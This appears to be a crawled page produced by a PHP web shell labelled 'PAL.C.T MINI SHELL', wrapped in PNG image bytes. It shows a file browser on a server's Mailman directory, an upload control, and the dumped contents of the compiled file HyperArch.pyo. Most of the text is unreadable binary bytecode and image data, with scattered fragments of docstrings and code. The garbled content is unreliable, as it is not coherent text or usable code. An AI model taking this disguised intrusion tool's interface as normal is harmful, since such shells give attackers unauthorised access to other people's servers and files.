php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/lib/mailman/Mailman/Archiver/
upload
files >> //usr/lib/mailman/Mailman/Archiver/HyperArch.pyo

Pc'@sdZddklZddkZddkZddkZddkZddkZddkZddk	Z	ddk
Z
ddkZddkZddk
Z
ddklZlZddklZddklZddklZddklZdd	klZdd
klZddklZddklZdd
klZddklZddk l!Z!ei"Z"e#Z$ei%o*yddk$Z$Wne&j
onXndZ'dZ(ei)djowyddk*Z*Wne&j
onOXe*i+e*i,\Z-Z.e/e.e0e-ddZ1e*i2e*i,e1e.fnye3e4fWne5j
odZ3dZ4nXe#dZ6dZ7dZ8dZ9dZ:e#dZ;ei<dZ=ei<dei>Z?ei<dZ@ei<d ei>ZAei<d!ZBei<d"ei>ZCei<d#ei>ZDei<d$ZEhZFhZGe#e#e#d%ZHd&eiIfd'YZId(eiJfd)YZKdS(*slHyperArch: Pipermail archiving for Mailman

     - The Dragon De Monsyne <dragondm@integral.org>

   TODO:
     - Should be able to force all HTML to be regenerated next time the
       archive is run, in case a template is changed.
     - Run a command to generate tarball of html archives for downloading
       (probably in the 'update_dirty_archives' method).
i(t
nested_scopesN(t
decode_headertmake_header(tHeaderParseError(tCharset(tmm_cfg(tUtils(tErrors(tLockFile(tMailList(ti18n(tSafeDict(tsyslog(tArchiverMailboxts
tdarwiniiiicCsKd	d
ddf}x&|D]\}}|i||}qWti||S(
Nt&s&amp;t<s&lt;t>s&gt;t"s&quot;(Rs&amp;(Rs&lt;(Rs&gt;(Rs&quot;(treplaceRt
uncanonstr(tstlangtreplstthingtrepl((sc/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Archiver/HyperArch.pyt
html_quotebs	cCs
ti|S(N(turllibtquote(R((sc/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Archiver/HyperArch.pyt	url_quotelscCs|iddS(Ntt (R(R((sc/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Archiver/HyperArch.pyt
null_to_spacepsc	Csytii|}Wn6tj
o*}|itijontdSX|djo?ti}zti	|td}Wdti
|X|S|djo
d|dSd|dS(Nssize not availableis %(size)i bytes i@Bs %d KB s %d MB (tostpathtgetsizetOSErrorterrnotENOENTt_R
tget_translationtset_languagetset_translation(tfilenameRtsizetetotranstout((sc/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Archiver/HyperArch.pytsizeofts 



s@<META http-equiv="Content-Type" content="text/html; charset=%s">cCsWt|tioti|}ntit|}ti|idd|S(NRs&quot;(t
isinstancettypestUnicodeTypeRtwebsafetstrRR(targRR((sc/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Archiver/HyperArch.pyt	CGIescapess
([(].*[)])s\s*RE\s*(\[\d+\]\s*)?:\s*s([-+,.\w]+@[-+.\w]+)s&([a-z]+://.*?)(?:_\s|_$|$|[]})>\'"\s])s^\s*$s^\s*<HTML>\s*$s^\s*</HTML>\s*$s^([>|:]|&gt;)+c	Cs|djo
d}n
|i}|djo'|djo
ti}qT|i}n|||f}ti|}|oti|}n|djp
|djo?ti	|d|dt
d|\}}|t|<|t|<n|}|dj	oyct|}	y|	i|}Wn=t
j
o1t|ti|d}
|	i|
}nXWq{ttfj
oq{Xnti||S(NRRtrawtmlistR(tNonet_internal_nameRtDEFAULT_SERVER_LANGUAGEtpreferred_languaget_templatefilepathcachetgett_templatecacheRtfindtexttTrueRtinterpolatetUnicodeErrortunicodet
GetCharSett	TypeErrort
ValueErrorR(ttemplatefiletdictRR:tlistnametcachekeytfilepathttemplatettexttsdictt	utemplate((sc/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Archiver/HyperArch.pytquick_maketexts<

	





		tArticlecBseZeiiZeiiZeiZ	ddgeiddZe
iZdZdZdZdZdZdZdZd	Zd
ZdZdZd
ZeidZeidZdZ dZ!dZ"dZdZ#dZ$RS(icCs-|i|||d|_d|_d}xT|djoFti|i}|o#|id}|i||_q.d}q.W||_||_	t
ioti
}zqti||i|ijo,tidtd|i|_|_n"tidtd|i|_Wdti|Xn|idd}	|idd}
|	i|_|
i|_h|_ti|i}t|ip|}t|t o|i!d	}n|i"|}
|
oC|
ii#}
|
dd
jo"|
dd
jo|
dd!}
n|
ddjo"|
ddjo|
dd!}
ny|i$d
t%}Wnt&i'j
o
d}nX|oR|
ti|ijo9yt ||
}Wqt(t)fj
o
d}qXn|o2g}|i*D]}||dq~|_+qn|i,dS(Niit@s at sContent-Types
text/plainsContent-Transfer-EncodingRsus-asciiRit'tdecodes
(-t_Article__super_initR;tprevtnexttREpattmatchtsubjecttendt_langt_mlistRtARCHIVER_OBSCURES_EMAILADDRSR
R)R*tauthortemailtretsubR(R+R@tlowertctypetcenctdecodedRRGR>Rtoutput_charsetR2RFtencodetget_content_charsettstriptget_payloadRCtbinasciitErrorREtLookupErrort
splitlinestbodytdecode_headers(tselftmessagetsequencetkeepHeadersRR:titresultR/RgRhtcsettcset_outtcharsetRst_[1]tl((sc/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Archiver/HyperArch.pyt__init__sd		
		

%	"" 6cCsv|ii|}|pYyti|dd}Wn,tij
o}tdd||dSX||i|<n|S(Ntlockiterrorserror opening list: %s
%s(t
_listcacheR@R	RtMMListErrorRR;(RuRLR:R.((sc/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Archiver/HyperArch.pyt
_open_listSscCs|ii}|ido|d}|d=nd}|o|ii|d<nd|d<x)dD]!}|i|o||=qiqiWg|d<|S(NR`t
__listnameRYRZRs(sprevsnextsbody(t__dict__tcopythas_keyR;R`t
internal_name(RutdR:tattr((sc/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Archiver/HyperArch.pyt__getstate__bs


cCs||_|id}|o|d=|i||d<n|idp3t|do|ii|_qti	|_n|idp
d|_n|idp
h|_ndS(NRR`R_RhRi(
RR@RRthasattrR`R>R_RR=R;RhRi(RuRRL((sc/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Archiver/HyperArch.pyt__setstate__vs	
cCs*t|dddjo
||_ndS(NR`(tgetattrR;R`(RuR:((sc/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Archiver/HyperArch.pytsetListIfUnsetscCst||iS(N(RR_(Rutbuf((sc/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Archiver/HyperArch.pyRscCs|i|i}|i|i}|o;||id<|i|i}|o||id<qfn|otiosti}zRti	|i
ttdt
i|i
}tidd|d|}Wdti|Xn||id<n|i|p|i|id	<dS(
sMIME-decode headers.

        If the email, subject, or author attributes contain non-ASCII
        characters using the encoded-word syntax of RFC 2047, decoded versions
        of those attributes are placed in the self.decoded (a dictionary).

        If the list's charset differs from the header charset, an attempt is
        made to decode the headers as Unicode.  If that fails, they are left
        undecoded.
        RbRcs at s([-+,.\w]+)@([-+.\w]+)s\g<1>s\g<2>NR]tstripped(tdecode_charsetRbR]RiRcRRaR
R)R*R_RFR(RRGRdReR+t
strip_subject(RuRbR]RcR/tatmark((sc/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Archiver/HyperArch.pyRts$

!	cCs|iii}|oUti|}di|id}tidd|}ti|d|}n|i}ti	dti
}|id|}|S(Nt%s\%s%\d*ds	\s*\d+\s*Rs^((RE|AW|SV|VS)(\[\d+\])?:\s*)+(R`tsubject_prefixRmRdtescapetjointsplitRetlstriptcompiletI(RuR]tprefixt
prefix_patt	strip_patR((sc/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Archiver/HyperArch.pyRscCsy"t|}t|i}Wn]ttttfj
oEti|i	i
}|djo
d}nt||d}nXdi|i
S(Nsus-asciis
iso-8859-1Ru(RRt__unicode__RqRERIRRRGR`R>RFRRr(RutfieldtpairstustrR{((sc/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Archiver/HyperArch.pyRs

c
Cs|ii}ti}ti|iz|i\|d<|d<|i\|d<|d<|i|i	|d<|i|i
|d<|i|i
|d<td|i
|d	<t|i|d
<t
io1tidtd|i}|ii}n|i}|i	}|i||d
<t||d<|itit|i|d<|i|d<|iiddd|d<|ii|d<d|d<Wdti|Xti|i}t||d<|i|t d|d|id|iS(NRYt
prev_wsubjRZt
next_wsubjt
email_htmlttitletsubject_htmlsRe: tsubject_urltin_reply_to_urlRUs at tauthor_htmlt	email_urltdatestr_htmlRstlistinfotabsoluteitlisturlRLRtencodingsarticle.htmlRR:(!RRR
R)R*R_t	_get_prevt	_get_nextRRcR]Rt_message_idRRaRdReR(RbR`tGetListEmailtctimetinttdatet	_get_bodytGetScriptURLt	real_nameR+RRGthtml_charsett_add_decodedRS(RuRR/RbtemailurlR}((sc/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Archiver/HyperArch.pytas_htmls<
		%
	cCs}|io_|i|i}dt|ii}dtddt|ii|i|f}nd}}||fS(s4Return the href and subject for the previous messages <LINK REL="Previous"  HREF="%s">s<LI>sPrevious message:s <A HREF="%s">%s
</A></li>R(RYt_get_subject_encRR,R(R(RuR]RYR((sc/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Archiver/HyperArch.pyRs


cCs|iid|iS(sReturn the subject of art, decoded if possible.

        If the charset of the current message and art match and the
        article's subject is encoded, decode it.
        R](RiR@R](Rutart((sc/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Archiver/HyperArch.pyRscCs}|io_|i|i}dt|ii}dtddt|ii|i|f}nd}}||fS(s4Return the href and subject for the previous messages<LINK REL="Next"  HREF="%s">s<LI>s
Next message:s <A HREF="%s">%s
</A></li>R(RZRRR,R(R(RuR]RZR((sc/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Archiver/HyperArch.pyR
s


s=([A-F0-9][A-F0-9])s=[ 	]*$cCs?y
|i}Wntj
o|i}nXtti|S(s<Return the message body ready for HTML, decoded if necessary(t	html_bodytAttributeErrorRsR!tEMPTYSTRINGR(RuRs((sc/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Archiver/HyperArch.pyRs

cCsXxQd	d
ddfD]=\}}|ii|o|i|i|||<qqWdS(
s$Add encoded-word keys to HTML outputRbRRcRR]RRN(sauthorsauthor_html(semails
email_html(ssubjectssubject_html(ssubjectstitle(RiRR(RuRtsrctdst((sc/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Archiver/HyperArch.pyR#scCs|ii}|iddiptiti|d<n|iddipd|d<n|iddiptiti|d<ndddd	g}|d
o|idn|do|id
n|do|idnti|i	}t
i|i}t
|tipt||d}ntiogti}zFti|ittd|}tidd|d|}Wdti|Xn|i|d}ti||d|dS(NtfromdateRRcsbogus@does.not.exist.comtdatestrsFrom %(email)s  %(fromdate)ssFrom: %(email)s (%(author)s)sDate: %(datestr)ssSubject: %(subject)st_in_reply_tosIn-Reply-To: %(_in_reply_to)st_referencessReferences: %(_references)sRsMessage-ID: %(_message_id)sRs at s([-+,.\w]+)@([-+.\w]+)s\g<1>s\g<2>s

s
(RRR@RmttimeRtappendRRRsRRGR_R2R3R4RFRRaR
R)R*R(RdReR+RktNL(RuRtheadersRsR{R/R((sc/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Archiver/HyperArch.pytas_text,s>	
	cCs,|i|tit|i|_dS(N(t_Article__super_set_dateRRRRR(RuRv((sc/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Archiver/HyperArch.pyt	_set_dateSs
cCsg|_d}xn|i}|pPn|p$|idjo
d}qqn|idjoPn|ii|qdS(Nis<!--beginarticle-->is<!--endarticle-->(RstreadlineRmR(Rutfileobjtbegintline((sc/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Archiver/HyperArch.pytloadbody_fromHTMLWs	
cCs-g|_y
|`Wntj
onXdS(N(RsRR(Ru((sc/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Archiver/HyperArch.pytfinished_update_articlefs
	
N(%t__name__t
__module__t	pipermailRTRRXRRRt_last_article_timeR;RR=tweakreftWeakValueDictionaryRRRRRRRtRRRRRRRdRt	_rx_quotet_rx_softlineRRRRR(((sc/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Archiver/HyperArch.pyRTs4	J									)							'		tHyperArchivecBseZeiiZeiiZeiiZ	eii
ZdZdZ
dZdZdZdZdZdZdZdZdZdZdZd	Zd
ZdZdZd
ZdZdZdZdZ dZ!dZ"dZ#dZ$dZ%dZ&dZ'dZ(dZ)dZ*dZ+dZ,dZ-dZd(Z.d#Z/d$Z0d%Z1d&Z2d'Z3RS()iiitthreadtmonthiicCs|i}ti||}|i|ddd|||_d|_|i|_ti	|i|_
t|ido|iidjo
d|_
q
|iidjo
d|_
q
|iid	jo
d
|_
q
|iidjo
d|_
q
d
|_
nd}d}d}hd|dd6d|dd6d|dd
6d|||d
6d|||dd6|_dS(Ntreloaditdatabasetarchive_volume_frequencyityearitquarteritweekitdayRs(?P<year>[0-9]{4,4})s(?P<month>[01][0-9])s(?P<day>[0123][0-9])t^t$sq(?P<quarter>[1234])$s-(?P<month>[a-zA-Z]+)$s
^Week-of-Mon-(tarchive_dirt
HyperDatabaset_HyperArchive__super_inittmaillistR;t
_lock_fileR>RRRGR}RRtARCHIVE_PERIODt_volre(RuRtdirtdbtyretmretdre((sc/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Archiver/HyperArch.pyRs4		




cCs"t||d|iid|iS(NRR:(RTRR>(RutmsgRw((sc/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Archiver/HyperArch.pyt_makeArticlescs_i}ti}ti|ifd}zh|id6|id6|idddd6id6t	|i
id6}htd	d	6td
d
6tdd6tdd6}Wdti
|Xxj|iD]\}|d
i|d}i|jod|d|<qd|||f|d|<qWtd|d|S(Ncstti|iS(N(RR
RR(R(Ru(sc/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Archiver/HyperArch.pyt	quotetimestlastdatetarchivedateRRitversionRLRR]RbRiRs%s_refs"<a href="%s.html#start">[ %s ]</a>sarchidxfoot.htmlR:(RR
R)R*R>RRRRRRRR(R+tkeystupperttypeRS(RuR:R/RRRytttcap((Rusc/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Archiver/HyperArch.pyt	html_foots2	



	csi}ti}ti|ifd}zht|iid6id6i	i
d6|idddd6|id6|i
d	6id
6}htdd6tdd6td
d
6tdd6}Wdti|Xxx|iD]j}|di|d}i|jo d|d|<|||d<q	d|||f|d|<q	Wioti|d<nd|d<td|d|S(Ncstti|iS(N(RR
RR(R(Ru(sc/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Archiver/HyperArch.pyRsRLtarchtypetarchiveRRit	firstdateRR-RR]RbRiRs%s_refs"<a href="%s.html#start">[ %s ]</a>Rsarchidxhead.htmlR:(RR
R)R*R>RRRRt
volNameToDescRRRRR-R(R+RRR}RRS(RuR:R/RRRyRR((Rusc/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Archiver/HyperArch.pyt	html_heads>	






	c	Cs|i}|i}tii|id|d}h|id6|idddd6d||fd6t||i	d6d	d
6}t
i}t
i|i	z|i
p2td|d<d	|d
<d	|d<d	|d<nd	|d<tdd|i	d||d
<tdd||d<g}x'|i
D]}|i|i|q3Wti||d<Wdt
i|X|d
ctti|i	7<tio
d}nd}t||d|S(Ns.mboxRLRRis../%s.mbox/%s.mboxtfullarchR-Rtmetas)<P>Currently, there are no archives. </P>t
noarchive_msgtarchive_listing_starttarchive_listing_endtarchive_listingsarchliststart.htmlRR:sarchlistend.htmlsarchtoc.htmlsarchtocnombox.html(RRR"R#RRRRR1R>R
R)R*tarchivesR(RSRthtml_TOC_entryRR+RRRGRtPUBLIC_MBOX(	RuR:RLtmboxRR/taccumtaRO((sc/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Archiver/HyperArch.pythtml_TOCsH	#






	


 

cCstii|ii|d}|d}tii|o(|}|d}dtdd}nBtii|o(|}|d}dtdd}nd}|o+|h|d6t||ii	d	6}nd
}t
dh|d6|i|d
6|d6d|iS(Ns.txts.gzs.txt.gzs<td><A href="%(url)s">[ sGzip'd Text%(sz)ss
]</a></td>s
Text%(sz)sturltszRsarchtocentry.htmlRtarchivelabelttextlinkR:(R"R#RRRtexistsR(R;R1R>RSR	(RutarchttxtfiletgzfiletfileRttemplR((sc/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Archiver/HyperArch.pyR&s,"




cCsu|iodStitiiti|iid|_y|ii	ddWnti
j
odSXdS(Nis
-arch.lockttimeoutg?i(RRR"R#RRtLOCK_DIRRRRtTimeOutError(Ru((sc/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Archiver/HyperArch.pytGetArchLockHs
cCs.|io |iiddd|_ndS(Ntunconditionallyi(RtunlockR;(Ru((sc/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Archiver/HyperArch.pytDropArchLockTs
cCs|ii}|d}|d}yti|Wnttifj
odSX|ipdSyt|}tdd||ti	d}zt|d}Wdti	|X|i
dd|idd	jo|id	n|i|i|i
|i
ti|Wntj
onXti||t|}|i||i
ti||idS(
Ns.workings.err_unarchivedRsGArchive working file %s present.  Check %s for possibly unarchived msgsisa+iis
(RtArchiveFileNameR"tstattIOErrorRR%topenRtumasktseektreadtwritetclosetunlinktrenametprocessUnixMailboxR((Rutnametwnametenametwftomaskteftarchfile((sc/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Archiver/HyperArch.pytprocessListArchYsB








cCsd|ifS(Ns	%06i.html(Rw(Rutarticle((sc/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Archiver/HyperArch.pytget_filenamescCs@|it|i}|itd|i|d|S(sReturn a list of indexes where the article should be filed.
        A string can be returned if the list only contains one entry,
        and the empty list is legal.sfiguring article archives
s
(t
dateToVolNametfloatRRvR((RuR=tres((sc/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Archiver/HyperArch.pytget_archivessc
Cs|i}dtdtdtdtdtdtdtdtd	td
tdtdtd
g
}x|iiD]}ti|i||}|ot|id}|djoQdtdtdtdtdg}|t|id}tdS|djo|idi}xrt	ddD]a}	t
idd|	dddddddf	}
|i|
ijo||	}tdSq\Wtd|qo|djo9|t|id}t|id}tdS|djo9|t|id}t|id}td S|idSqqWtd!|dS("NRtJanuarytFebruarytMarchtApriltMaytJunetJulytAugustt	SeptembertOctobertNovembertDecemberRRtFirsttSecondtThirdtFourths%(ord)s quarter %(year)iRii
s%Biis%(month)s %(year)is%s is not a month!RRs-The Week Of Monday %(day)i %(month)s %(year)is%(day)i %(month)s %(year)is%s is not a valid volname(
RmR(RRRdR\RtgroupRftrangeRtstrftimeRI(
Rutvolnamet	monthdictteachR\RRtordtmonthstrRyt	monthnameRR((sc/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Archiver/HyperArch.pyR	sB$$*
-
-


cCsBti|}|idjotid|S|idjoz|ddjotid|S|ddjotid|S|ddjotid|Stid|Sn|idjotid|S|idjoCti||d
ddd}ti|}tid|Stid|SdS(NRs%YRiiis%Yq1iiis%Yq2iii	s%Yq3s%Yq4Rs%Y%m%dRii<sWeek-of-Mon-%Y%m%ds%Y-%B(iii(iii(iii	(Rt	localtimeRRUtmktime(RuRt	datetupletmonday((sc/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Archiver/HyperArch.pyR?s$#cCs|i}x|iiD]}ti|i||}|ot|id}d}d}|djo't|id}|dd}n|djo|idi}g}	xQtddD]@}
|	i	t
idd	|
dd
d
d
d
dd
f	iqWy|	i|d}Wqt
j
oqXnI|djp
|djo.t|id}t|id}ny,t
i||dd
d
d
d
dd
f	SWqtj
odSXqqWdS(NRiRiiRi
s%BiiRRig(RmRRRdR\RRSRfRTRRRUtindexRIR]t
OverflowError(RuRVRXR\RRRtqRZtmRy((sc/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Archiver/HyperArch.pyt
volNameToDates<

8	,csQfd}idjoii|niiiidS(NcsJi|}i|}||jodS||jodSdSdS(Niii(Rd(Rtbtaltbl(Ru(sc/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Archiver/HyperArch.pytsfs

RRR(smonthsyearsquarter(RRtsorttreverse(RuRh((Rusc/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Archiver/HyperArch.pytsortarchivess
	
cCsT|ioFti}|i||ddjo|idn|indS(Nis
(tVERBOSEtsyststderrR0tflush(RuRtf((sc/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Archiver/HyperArch.pyRvs
	
cCsKtii|d}yti|WnnXti|id|dS(Ns
index.htmls.html(R"R#RR2tsymlinktDEFAULTINDEX(RuRt
archivedirt
index_html((sc/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Archiver/HyperArch.pytopen_new_archivescCsTd|_|iGH|io1|idjo!|itd|indS(NitThreadsComputing threaded index
(tdepthR
t
THREADLAZYRRvR(tupdateThreadedIndex(Ru((sc/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Archiver/HyperArch.pytwrite_index_headers
	cCs.xt|iD]}dGHqW|iGHdS(Ns</UL>(RTRwR(RuRy((sc/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Archiver/HyperArch.pytwrite_index_footers	cCs|id|}|id|}tio9ytidtd|}Wqgtj
oqgXnt||i}t||i}ht	i
|id6|d6|id6|d6}t
d|d|iGHdS(	NR]RbRUs at R,Rwsarchidxentry.htmlR:(t
get_headerRRaRdReR(RER8RRRR,RwRSR(RuR=R]RbR((sc/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Archiver/HyperArch.pytwrite_index_entrys"
	

	cCs1|ii|}|djot||S|S(N(RiR@R;R(RuRR=Rz((sc/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Archiver/HyperArch.pyR|5s
cCs|djo|idd}n||ijo
|i}n||ijo'x[t|i|D]}dGHqeWn8||ijo'x$t||iD]}dGHqWnd||ifGH||_|i|dS(Nisdepth<0s</UL>s<UL>s
<!--%i %s -->(RvtTHREADLEVELSRwRTt	threadKeyR}(RuR=RwRy((sc/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Archiver/HyperArch.pytwrite_threadindex_entry=s 





	cCsp|itid}z%ttii|idd}Wdti|X|i|i|i	dS(Nis
index.htmltw(
RkR"R-R,R#RtbasedirR0RR1(RuR9ttoc((sc/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Archiver/HyperArch.pyt	write_TOCMs
%c	Cstid}zt|d}Wdti|X|i|i|itii|id|}tid}zt|d}Wdti|X|i|i	|idS(NiRs%s.txtsa+(
R"R-R,R0RR1R#RRR(RuR`R=R#R9Rp((sc/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Archiver/HyperArch.pyt
write_articleWs
c	Cs|i|tod}d}tii|id|}tii|id|}tii|id|}yt|}Wntj
odSXy#ti	||ti|}Wntt
tifj
onXz%tid}ti|d}Wdti|X|o.|i
|i|iti|ny+|i
|i|i|iWntj
onXti|ndS(Ns%s.txts	%s.txt.gzs
%s.old.txt.gziR(t#_HyperArchive__super_update_archivetgzipR;R"R#RRR,R+R3tRuntimeErrorRR-R0R/R1R2(	RuRtarchztarchtRtgzipfiletoldgziptoutnewz((sc/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Archiver/HyperArch.pytupdate_archiveks>


RRR}cCs\h}xO|iiD]>}||ijp|i|jp|i|||<qqW|S(N(RRt_skip_attrsR(RuRRX((sc/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Archiver/HyperArch.pytgetstatescCstd}|o9t|dtio"t|ti|id}n|}|}d}x tdt	|D]	}||}}d}	}
|djoqun|ioti
|}|djo
d}qG|id}t|| |id}	d}
|io#|
d7}
|pd|	}	q3n||}d}nd}ti|}
ti|}x|
dj	p
|dj	o|
djo
d	}n|
id}|djo
d	}n|id}|d	jo||jp
|d	joj|
id}t	|}tio1tid
||}|iiddd}nd
|}|}nZ|d	joC||jp
|d	jo)|id}}t	|}|}n
td|dt|| |it|t||if7}|||}ti|}
ti|}qnW|
djo#|djot||i}n|	|||
}d||<|||<quWdS(Ns at iRRs<i>s</I>s<BR>iiRURRsmailto:sj==k: This can't happen!s%s<A HREF="%s">%s</A>(R(R2R3R4RFRRGRtxrangetlenR;tIQUOTESt	quotedpatR\R^R8tSHOWHTMLtemailpattsearchturlpattstartRSRRaRdReRRRIR(RutlinesRtsourcetdesttlast_line_was_quotedRytLorigtLRtsuffixtquotedtL2tjrtkrtjtkRPtlengthtURLtpos((sc/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Archiver/HyperArch.pyt__processbody_URLquotesz"












'
	

'
	 
cCs
|}|}t|}d}x||jox6||jo(ti||djo|d}q2W||jod||<|d}nxO||joAti||djo'||d||<||<|d}qW||jod||<|d}q"q"WdS(Nii(RthtmlpatR\R;t	nohtmlpat(RuRRRRRy((sc/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Archiver/HyperArch.pyt__processbody_HTMLs&
'

'

cCstd|i}|io|i|n|i||io(|o!|idd|idnq|i	ot
d|}nQxMtdt|D]6}||}|dd!djod|||<qqW||_
|S(Nis<PRE>s</PRE>cSs|dS(s<BR>((tx((sc/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Archiver/HyperArch.pyt<lambda>sis 	
s<P>(tfilterR;Rst	ALLOWHTMLt_HyperArchive__processbody_HTMLt#_HyperArchive__processbody_URLquoteRtinsertRtSHOWBRtmapRTRR(RuR=RRyR((sc/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Archiver/HyperArch.pytformat_articles 



	c
	Cs|i}tii||i}|itdy't|}|i||i	WnBt
j
o6}|itijon|itdnX||_
||_tid}	zt|d}Wdti|	X|i|i|i	dS(Ns!Updating HTML for article %(seq)ss%article file %(filename)s is missing!iR(RwR"R#RR,RvR(R,RR1R+R&R'RYRZR-R0R(
RutarcdirR=RYRZtseqR,RpR.R9((sc/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Archiver/HyperArch.pytupdate_articles&	
		(smaillists
_lock_filescharset(4RRRtTRRRRtupdate_dirty_archivest*_HyperArchive__super_update_dirty_archivestadd_articlet _HyperArchive__super_add_articletDIRMODEtFILEMODERlRrRRxR~RRRRRRR
RRR%R(R<R>RBR	R?RdRkRvRuRzR{R}R|RRRRRRRRR(((sc/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Archiver/HyperArch.pyRns\	%		"	)	-	"			,				)											
		(	
	Q		(Lt__doc__t
__future__RRmRdR&RRR"R3RRRRotemail.HeaderRRtemail.ErrorsRt
email.CharsetRtMailmanRRRRR	R
tMailman.SafeDictRtMailman.Logging.SyslogRtMailman.MailboxR
R(R;RtGZIP_ARCHIVE_TXT_FILEStImportErrorRRtplatformtresourcet	getrlimittRLIMIT_STACKtsoftthardtmintmaxtnewsoftt	setrlimitRCtFalset	NameErrorRRR!R1RR8Rtparen_name_patt
IGNORECASER[RRtblankpatRRRR?RARSRTRR(((sc/builddir/build/BUILDROOT/mailman-2.1.12-18.el6.i386//usr/lib/mailman/Mailman/Archiver/HyperArch.pyt<module>s	
	
			<o
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`